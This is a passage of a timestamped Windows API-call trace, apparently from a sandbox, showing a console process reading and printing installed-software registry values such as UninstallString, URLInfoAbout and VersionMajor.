[0150.007] GetConsoleOutputCP () returned 0x1b5 [0150.007] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0150.007] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.007] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.007] __iob_func () returned 0x7fefd702a80 [0150.007] _fileno (_File=0x7fefd702ab0) returned 1 [0150.007] _errno () returned 0x204bb0 [0150.007] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.007] _errno () returned 0x204bb0 [0150.007] GetFileType (hFile=0x50) returned 0x1 [0150.007] lstrlenW (lpString=" ") returned 4 [0150.007] GetConsoleOutputCP () returned 0x1b5 [0150.007] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.007] GetConsoleOutputCP () returned 0x1b5 [0150.008] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.008] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.008] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.008] __iob_func () returned 0x7fefd702a80 [0150.008] _fileno (_File=0x7fefd702ab0) returned 1 [0150.008] _errno () returned 0x204bb0 [0150.008] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.008] _errno () returned 0x204bb0 [0150.008] GetFileType (hFile=0x50) returned 0x1 [0150.008] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0150.008] GetConsoleOutputCP () returned 0x1b5 [0150.008] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.008] GetConsoleOutputCP () returned 0x1b5 [0150.008] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0150.008] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.008] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.008] __iob_func () returned 0x7fefd702a80 [0150.008] _fileno (_File=0x7fefd702ab0) returned 1 [0150.008] _errno () returned 0x204bb0 [0150.008] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.008] _errno () returned 0x204bb0 [0150.008] GetFileType (hFile=0x50) returned 0x1 [0150.008] lstrlenW (lpString=" ") returned 4 [0150.009] GetConsoleOutputCP () returned 0x1b5 [0150.009] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.009] GetConsoleOutputCP () returned 0x1b5 [0150.009] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.009] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.009] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.009] __iob_func () returned 0x7fefd702a80 [0150.009] _fileno (_File=0x7fefd702ab0) returned 1 [0150.009] _errno () returned 0x204bb0 [0150.009] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.009] _errno () returned 0x204bb0 [0150.009] GetFileType (hFile=0x50) returned 0x1 [0150.009] lstrlenW (lpString="MsiExec.exe /X{68306422-7C57-373F-8860-D26CE4BA2A15}") returned 52 [0150.009] GetConsoleOutputCP () returned 0x1b5 [0150.009] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{68306422-7C57-373F-8860-D26CE4BA2A15}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0150.009] GetConsoleOutputCP () returned 0x1b5 [0150.009] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{68306422-7C57-373F-8860-D26CE4BA2A15}", cchWideChar=52, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{68306422-7C57-373F-8860-D26CE4BA2A15}", lpUsedDefaultChar=0x0) returned 52 [0150.009] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0150.009] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.010] __iob_func () returned 0x7fefd702a80 [0150.010] _fileno (_File=0x7fefd702ab0) returned 1 [0150.010] _errno () returned 0x204bb0 [0150.010] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.010] _errno () returned 0x204bb0 [0150.010] GetFileType (hFile=0x50) returned 0x1 [0150.010] lstrlenW (lpString="\n") returned 1 [0150.010] GetConsoleOutputCP () returned 0x1b5 [0150.010] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.010] GetConsoleOutputCP () returned 0x1b5 [0150.010] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.010] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.010] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.010] GetProcessHeap () returned 0x3c0000 [0150.010] GetProcessHeap () returned 0x3c0000 [0150.010] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.010] GetProcessHeap () returned 0x3c0000 [0150.010] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.010] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.010] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.010] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.010] GetProcessHeap () returned 0x3c0000 [0150.010] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.010] GetProcessHeap () returned 0x3c0000 [0150.010] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.010] GetProcessHeap () returned 0x3c0000 [0150.010] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.011] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.011] __iob_func () returned 0x7fefd702a80 [0150.011] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.011] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.011] _fileno (_File=0x7fefd702ab0) returned 1 [0150.011] _errno () returned 0x204bb0 [0150.011] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.011] _errno () returned 0x204bb0 [0150.011] GetFileType (hFile=0x50) returned 0x1 [0150.011] lstrlenW (lpString=" ") returned 4 [0150.011] GetConsoleOutputCP () returned 0x1b5 [0150.011] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.011] GetConsoleOutputCP () returned 0x1b5 [0150.011] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.011] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.011] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.011] lstrlenW (lpString="URLInfoAbout") returned 12 [0150.011] __iob_func () returned 0x7fefd702a80 [0150.011] _fileno (_File=0x7fefd702ab0) returned 1 [0150.011] _errno () returned 0x204bb0 [0150.011] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.011] _errno () returned 0x204bb0 [0150.011] GetFileType (hFile=0x50) returned 0x1 [0150.011] lstrlenW (lpString="URLInfoAbout") returned 12 [0150.012] GetConsoleOutputCP () returned 0x1b5 [0150.012] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.012] GetConsoleOutputCP () returned 0x1b5 [0150.012] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0150.012] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.012] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.012] __iob_func () returned 0x7fefd702a80 [0150.012] _fileno (_File=0x7fefd702ab0) returned 1 [0150.012] _errno () returned 0x204bb0 [0150.012] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.012] _errno () returned 0x204bb0 [0150.012] GetFileType (hFile=0x50) returned 0x1 [0150.012] lstrlenW (lpString=" ") returned 4 [0150.012] GetConsoleOutputCP () returned 0x1b5 [0150.012] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.012] GetConsoleOutputCP () returned 0x1b5 [0150.012] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.012] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.012] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.013] __iob_func () returned 0x7fefd702a80 [0150.013] _fileno (_File=0x7fefd702ab0) returned 1 [0150.013] _errno () returned 0x204bb0 [0150.013] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.013] _errno () returned 0x204bb0 [0150.013] GetFileType (hFile=0x50) returned 0x1 [0150.013] lstrlenW (lpString="REG_SZ") returned 6 [0150.013] GetConsoleOutputCP () returned 0x1b5 [0150.013] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.013] GetConsoleOutputCP () returned 0x1b5 [0150.013] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.013] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.013] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.013] __iob_func () returned 0x7fefd702a80 [0150.013] _fileno (_File=0x7fefd702ab0) returned 1 [0150.013] _errno () returned 0x204bb0 [0150.013] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.013] _errno () returned 0x204bb0 [0150.013] GetFileType (hFile=0x50) returned 0x1 [0150.013] lstrlenW (lpString=" ") returned 4 [0150.013] GetConsoleOutputCP () returned 0x1b5 [0150.013] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.014] GetConsoleOutputCP () returned 0x1b5 [0150.014] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.014] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.014] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.014] __iob_func () returned 0x7fefd702a80 [0150.014] _fileno (_File=0x7fefd702ab0) returned 1 [0150.014] _errno () returned 0x204bb0 [0150.014] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.014] _errno () returned 0x204bb0 [0150.014] GetFileType (hFile=0x50) returned 0x1 [0150.014] lstrlenW (lpString="") returned 0 [0150.014] __iob_func () returned 0x7fefd702a80 [0150.014] _fileno (_File=0x7fefd702ab0) returned 1 [0150.014] _errno () returned 0x204bb0 [0150.014] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.014] _errno () returned 0x204bb0 [0150.014] GetFileType (hFile=0x50) returned 0x1 [0150.014] lstrlenW (lpString="\n") returned 1 [0150.014] GetConsoleOutputCP () returned 0x1b5 [0150.014] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.014] GetConsoleOutputCP () returned 0x1b5 [0150.014] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.014] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.014] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.015] GetProcessHeap () returned 0x3c0000 [0150.015] GetProcessHeap () returned 0x3c0000 [0150.015] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.015] GetProcessHeap () returned 0x3c0000 [0150.015] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.015] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.015] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.015] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.015] GetProcessHeap () returned 0x3c0000 [0150.015] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.015] GetProcessHeap () returned 0x3c0000 [0150.015] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.015] GetProcessHeap () returned 0x3c0000 [0150.015] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.015] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.015] __iob_func () returned 0x7fefd702a80 [0150.015] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.015] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.015] _fileno (_File=0x7fefd702ab0) returned 1 [0150.015] _errno () returned 0x204bb0 [0150.015] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.015] _errno () returned 0x204bb0 [0150.015] GetFileType (hFile=0x50) returned 0x1 [0150.015] lstrlenW (lpString=" ") returned 4 [0150.015] GetConsoleOutputCP () returned 0x1b5 [0150.015] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.015] GetConsoleOutputCP () returned 0x1b5 [0150.016] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.016] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.016] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.016] lstrlenW (lpString="URLUpdateInfo") returned 13 [0150.016] __iob_func () returned 0x7fefd702a80 [0150.016] _fileno (_File=0x7fefd702ab0) returned 1 [0150.016] _errno () returned 0x204bb0 [0150.016] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.016] _errno () returned 0x204bb0 [0150.016] GetFileType (hFile=0x50) returned 0x1 [0150.016] lstrlenW (lpString="URLUpdateInfo") returned 13 [0150.016] GetConsoleOutputCP () returned 0x1b5 [0150.016] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.016] GetConsoleOutputCP () returned 0x1b5 [0150.016] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0150.016] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.016] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.016] __iob_func () returned 0x7fefd702a80 [0150.016] _fileno (_File=0x7fefd702ab0) returned 1 [0150.016] _errno () returned 0x204bb0 [0150.016] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.016] _errno () returned 0x204bb0 [0150.016] GetFileType (hFile=0x50) returned 0x1 [0150.016] lstrlenW (lpString=" ") returned 4 [0150.017] GetConsoleOutputCP () returned 0x1b5 [0150.017] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.017] GetConsoleOutputCP () returned 0x1b5 [0150.017] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.017] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.017] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.017] __iob_func () returned 0x7fefd702a80 [0150.017] _fileno (_File=0x7fefd702ab0) returned 1 [0150.017] _errno () returned 0x204bb0 [0150.017] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.017] _errno () returned 0x204bb0 [0150.017] GetFileType (hFile=0x50) returned 0x1 [0150.017] lstrlenW (lpString="REG_SZ") returned 6 [0150.017] GetConsoleOutputCP () returned 0x1b5 [0150.017] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.017] GetConsoleOutputCP () returned 0x1b5 [0150.017] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.017] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.018] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.018] __iob_func () returned 0x7fefd702a80 [0150.018] _fileno (_File=0x7fefd702ab0) returned 1 [0150.018] _errno () returned 0x204bb0 [0150.018] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.018] _errno () returned 0x204bb0 [0150.018] GetFileType (hFile=0x50) returned 0x1 [0150.018] lstrlenW (lpString=" ") returned 4 [0150.018] GetConsoleOutputCP () returned 0x1b5 [0150.018] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.018] GetConsoleOutputCP () returned 0x1b5 [0150.018] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.018] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.018] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.018] __iob_func () returned 0x7fefd702a80 [0150.018] _fileno (_File=0x7fefd702ab0) returned 1 [0150.018] _errno () returned 0x204bb0 [0150.018] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.018] _errno () returned 0x204bb0 [0150.018] GetFileType (hFile=0x50) returned 0x1 [0150.018] lstrlenW (lpString="") returned 0 [0150.018] __iob_func () returned 0x7fefd702a80 [0150.018] _fileno (_File=0x7fefd702ab0) returned 1 [0150.018] _errno () returned 0x204bb0 [0150.018] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.018] _errno () returned 0x204bb0 [0150.018] GetFileType (hFile=0x50) returned 0x1 [0150.019] lstrlenW (lpString="\n") returned 1 [0150.019] GetConsoleOutputCP () returned 0x1b5 [0150.019] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.019] GetConsoleOutputCP () returned 0x1b5 [0150.019] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.019] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.019] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.019] GetProcessHeap () returned 0x3c0000 [0150.019] GetProcessHeap () returned 0x3c0000 [0150.019] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.019] GetProcessHeap () returned 0x3c0000 [0150.019] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.019] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.019] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.019] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.019] GetProcessHeap () returned 0x3c0000 [0150.019] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.019] GetProcessHeap () returned 0x3c0000 [0150.019] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.019] GetProcessHeap () returned 0x3c0000 [0150.019] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.019] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0xe, 